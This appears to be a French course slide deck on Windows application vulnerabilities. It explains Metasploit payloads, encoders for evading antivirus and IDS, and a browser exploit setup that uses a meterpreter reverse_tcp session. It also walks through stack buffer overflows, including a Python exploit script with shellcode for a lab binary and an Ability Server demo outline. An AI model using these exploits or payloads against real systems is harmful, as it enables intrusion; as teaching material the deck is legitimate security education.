Cours_Failles_Appli

publicité
Les Failles
Applicatives
Windows
Le Framework
Metasploit
Metasploit
•
Metasploit est un Framework qui fournit l’infrastructure
pour automatiser les tâches de routine, banales et
complexe
•
Il permet de se concentrer sur les aspects uniques et
spécialisés de pénétration dans le but d’identifier des
failles dans un programme
•
Il permet de facilement construire des vecteurs
d’attaque pour augmenter ses exploits, payloads,
encodeurs et plus afin de créer et exécuter des
attaques les plus avancés.
Metasploit
Payload
•
Un Payload (charge utile) est le morceau du code que nous voulons que le
système exécute, les payloads sont livrées par le Framework ou peuvent être
récupérés sur le net.
Exemple:
•
•
reverse shell : payload qui crée une connexion entre la machine cible et
celle de l'attaquant en renvoyant à celle-ci une invite de commande DOS.
•
bind shell : payload qui «Lie» une invite de commande à un port d'écoute
sur la machine cible, elle reste là à l’écoute pour attendre que le pirate se
connecte.
Un Payload peut aussi être quelque chose aussi simple que quelques
commandes à exécuter sur le système d'exploitation cible.
Metasploit
Shellcode
•
Le Shellcode est un ensemble d’ instructions utilisées par le
payload lors de l’exploitation (Shellcode écrit généralement en
assembleur ).
Module
•
Les modules sont des parties d’application qu’on importe et on
peut utiliser dans le Framework Metasploit.
Listener
•
Un listener est un composant de Metasploit qui attend une
connexion entrante sur la machine de l’attaquant.
Metasploit
Msfconsole
•
Msfconsole est de loin la partie la plus populaire du Metasploit, l'un des plus souples (possibilité d’utilisé la
tabulation), flexible, riches en fonctionnalités, et il supporte tous les outils du MSF.
•
Msfconsole fournit un outil pratique « tout-en-un » avec une interface console, toutes les options et paramètres de
MFS sont disponibles ( lancer des exploits, charger les modules auxiliaires, effectuer l'énumération, créer le
listener, ou scanner en masse un ensemble du réseau ).
Metasploit
Msfcli
•
Msfcli et msfconsole adoptent des approches très différentes pour
l'accéder au Framework. Là où msfconsole fournit une façon
interactive d'accéder à toutes les fonctionnalités de manière
conviviale, msfcli met la priorité sur les scripts et l'interopérabilité
avec d'autres outils basés sur console.
•
msfcli s'exécute directement depuis la ligne de commande, ce qui
vous permet de rediriger la sortie dans d'autres outils de ligne de
commande.
•
Msfcli permet également le lancement d’exploits et modules
auxiliaires, il est très pratique dans le test des modules et aussi lors
développement de nouveaux exploits pour le Framework.
Metasploit
Armitage
•
L’Armitage permet aux utilisateurs de communiquer graphiquement avec le Framework.
Execution de l’armitage
•
root@bt:/opt/framework3/msf3# armitage
•
Lors du chargement vous devrez renseigner le host, port, user, pass du MSF, pour que
armitage se connecte à l’instance de votre Metasploit.
Metasploit
MSFpayload
•
L’utilitaire msfpayload vous permet de générer le shellcode, les exécutables …
•
Le shellcode peut être générée sous des nombreux formats comme : C, Ruby,
Javascript, et même Visual Basic.
•
Après avoir décidé du type de sortie vous pouvez facilement l’insérer dans un
fichier HTML pour déclencher l’exploit.
•
Liste des options de cet utilitaire entrez msfpayload -h dans la ligne de commande :
root @ bt :/ # msfpayload -h
•
Pour obtenir les options a renseigner, ajoutez la lettre "O" sur la ligne de
commande, après le choix du payload :
root@bt:/# msfpayload windows/shell_reverse_tcp O
Metasploit
MSFencode
•
Normalement le shellcode généré par msfpayload est pleinement fonctionnelle, mais il peut
contenir plusieurs caractères nuls interprétés par certains programmes provoquant l’arrêt du
code avant sa fin ( les x00s ,xffs … ). Le shellcode traversant le réseau sous forme de texte clair
est susceptible d'être intercepter par le détecteur d’'intrusion (IDS) et les logiciels antivirus. Entrer
msfencode-h pour voir la liste d'options de msfencode.
•
Metasploit contient un certain nombre de codeurs qui doivent êtres utilisés dans des différentes
situations bien spécifiques. Certains seront utiles lorsque vous ne pouvez utiliser que des
caractères alphanumériques dans le payload, c'est bien le cas de nombreux exploits qui
attaquent les formats de fichiers et applications qui acceptent uniquement des caractères
imprimables en entrée, tandis que d'autres encodeurs sont généraux et réussissent bien dans
toutes les situations.
•
Le codeur x86/shikata_ga_nai, est le seul encodeur avec le grade d’Excellent et donne souvent
de très bons résultats.
•
Pour voir la liste des encodeurs disponibles :
root @ bt: ~ # msfencode -l
Metasploit
•
Modules auxiliaires : show auxiliary
Metasploit
Metasploit
Coté Exploit
•
Comment afficher tous les exploits disponibles sur Metasploit : Show exploits
•
Pour chercher un exploit : Search nom_exploit
•
Pour sélectionner un exploit : Use nom_exploit
•
Avoir des informations sur un exploit : Info nom_exploit
•
Voir les options d’un exploit : Show options
Coté Payload
•
Afficher tous les payloads disponibles sur Metasploit : Show payload
•
Choisir le payload que l’on va utiliser : set PAYLOAD nom_payload
•
Voir les options du payload pour une configuration : Show options
En général
•
Pour obtenir de l’aide : help
•
Si vous voulez connaître la version de Metasploit : version
•
Si l’on veut lister l’intégralité des exploits, modules, playloads : search
•
Pour quitter Metasploit : quit
Metsaploit
Metasploit
Metasploit
Récapitulatif:
•
msf > search adobe_jbig2decode //chercher l'exploit adobe
•
msf > use windows/browser/adobe_jbig2decode // selectionner l'exploit
•
msf > info windows/browser/adobe_jbig2decode
•
msf > show options
•
msf > set SRVHOST 192.168.230.128 // l'adresse IP du serveur utilisé
•
msf > set SRVPORT 80 msf > set URIPATH / //c'est l'URL utilisé pour l'exploit msf > show targets
•
msf > set targets 0 msf > show payloads
•
msf > set PAYLOAD windows/meterpreter/reverse_tcp
•
msf > set LHOST 192.168.230.128 Ici, on charge le payload « reverse_tcp ».
Ce bout de shellcode sera exécuté sur la machine cible une fois la vulnérabilité exploitée. Une connexion de
type TCP inversée sera alors initialisée et vous permettra d’ouvrir une session distante (même à travers un
firewall). - See more at: http://www.funinformatique.com/cest-quoi-metasploit-et-comment-bien-lutiliser/
#sthash.KnYVQZOi.dpuf
Metasploit
•
Utilisation de db_autopwn
Dissection
DES FAILLES APPLICATIVES
Introduction
Qu’est ce qu’une “faille applicative” ?
« faiblesse dans un système informatique permettant à un attaquant de porter
atteinte à l'intégrité de ce système, c'est-à-dire à son fonctionnement normal, à
la confidentialité et l'intégrité des données qu'il contient »
Exploitation de programmes codés en C / C++ …
Quels types d’exploitation :
•
Fuite d’informations
•
Contournement de protections
•
Détournement du flux d’exécution
•
...
Contexte d’Attaques
•
Architecture INTEL x86 32 bits
•
•
« little endian »
Programmes C / C++
2 types d’attaques :
•
« remote »
•
« local »
Segmentation de la mémoire
Adresse basses
Adresse Hautes
Assembleur
Les registres :
•
De calcul : EAX, EBX, ECX, EDX
•
De pile : EBP, ESP
•
D’instruction : EIP
Quelques instructions :
•
PUSH reg, POP reg
•
CALL / RET
•
MOV dest, src
Gestion de la pile
Sens de la pile
ESP
EBP
Gestion de la Pile
ESP
EBP
Gestion de la pile
ESP
EBP
Les Outils
•
Un désassembleur / débuggeur :
•
•
•
•
UNIX : GDB – GNU Debugger
Windows : OllyDBG, WinDBG, IDA
Un peu de shell
Des « shellcodes »
•
Suite d’instruction assembleur précompilées
•
Permet de lancer un shell, créer des utilisateurs, lancer une
application…
•
Détournement de flux d’exécution
Exploitation 1:
Hack1.exe
•
Utilisation de dev c++ pour compiler
•
On teste diffrents nombres d’arguments
Exploitation 1:
hack1.exe
Immunity debugger:
•
lancer immunity
•
ouvrir hack1.exe
•
debug => arguments
•
Lancer le programme
Exploitation 1:
hack1.exe
•
EIP écrasé par 53525150 :
SRQP , « little indien » donc PQRS
•
ESP : « XYZ »
Exploitation 1:
hack1.exe
donc :
•
24 arguments avant d’arriver sur EIP
•
33 éme argument pointé par ESP
« A » * 24 + BCDA + JUNK + « Z » * 50
A*24
ecrase stack
DCBA
@ retour : EIP
JUNK
Z*50
Pointe par ESP =>
Offset
Shellecode ?
Exploitation 1:
hack1.exe
•
Il faudrait que l’on ecrase EIP avec une adresse qui pointe
sur un jmp sep ( puisque sep pointe sur nos Z que nous
pouvons remplacer par un shellcode)
•
jmp esp se trouve dans les dll de windows
•
Deux solutions s'offrent à nous, chercher dans une dll du
système ou une DLL de l’application. Si nous trouvons le
jmp esp dans une DLL de l'application, notre exploit sera
plus "portable" que si nous le trouvons dans une DLL
système, car cette dernière est différente pour chaque
système (Windows XP SP1, SP2, Windows Vista...).
Exploitation 1:
hack1.exe
cliquons sur e dans la barre des taches de immunity
debugger pour voir les dlls chargées avec hack1.exe
•
•
Nous pouvons double cliquer sur chacune des DLL pour essayer de trouver notre jmp esp.
•
Avec la DLL kernell32.dll, nous obtenons son code désassemblé.
•
Plaçons-nous dans le cadre en haut à gauche et cliquons avec le bouton droit de la souris.
•
Sélectionnons Search for - Command.
Exploitation 1:
hack1. exe
Exploitation 1:
hack1.exe
Exploitation 1:
hack1.exe
import os
ret="\x7B\x46\x86\x7C"
junk='\x90'*20
shellcode=« \xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF
\x63\x61\x6C\x63"
var="A"*28+ret+junk+shellcode
arg0='hack1.exe'
args=[arg0]+[var]
os.execv(arg0, args)
Exploitation 2:
Buffer Overflow
•
« buffer » ?
•
•
Zone de mémoire (ex : tableau d’éléments, structure de
donnée, zone allouée avec malloc, ...)
« overflow » ?
•
dépassement
Lors d’une copie, que se passe-t-il si la taille des
données est supérieure à la taille du buffer qui est
censé les recevoir ?
Exploitation 1 :
Buffer Overflow
•
•
La faille : copie de données utilisateur sans
vérification de la taille
Exploitation la plus courante :
•
« stack overflow »
•
Injection d’un shellcode sur la pile et calcul de son adresse
•
Dépassement de capacité d’une variable sur la pile
•
Écrasement de SEIP par l’adresse du shellcode
⇒ Le programme saute à l’adresse du shellcode lors
du « RET » et l’exécute !
Exploitation 1 :
Buffer Overflow
ESP
EBP
Démonstration :
Ability server
Cas réel avec Ability Server
•
Une machine Windows avec Ability Server et une
autre machine avec KaliLinux.
•
Les deux machines sont en réseau interne pour
faire les test.
•
Utilisation d’un debugger, immunity debugger et du
langage Python.
Démonstration :
Ability server
•
Fuzzing
Démonstration :
Ability server
Démonstration :
Ability server
•
Répliquer le Crash
Démonstration :
Ability server
•
Immunity Debbuger
Démonstration :
Ability server
•
Controler SEIP
Démonstration :
Ability server
EIP=42 67 32 42 soit Bg2B
Démonstration :
Ability server
Démonstration :
Ability server
•
Localiser l’espace pour le Shellcode
Démonstration :
Ability server
Démonstration :
Ability server
Rediriger le flux d’exécution
Trouver le moyen de faire un JMP vers notre shellcode
Trouver dans une dll chargée un jmp esp
Trouver l’adresse de retour
Démonstration :
Ability server
Démonstration :
Ability server
•
Creer notre shellcode
Démonstration :
Ability server
Démonstration :
Ability server
Démonstration :
Ability server
•
Vérification
Démonstration :
Ability server
Démonstration :
Ability server
Téléchargement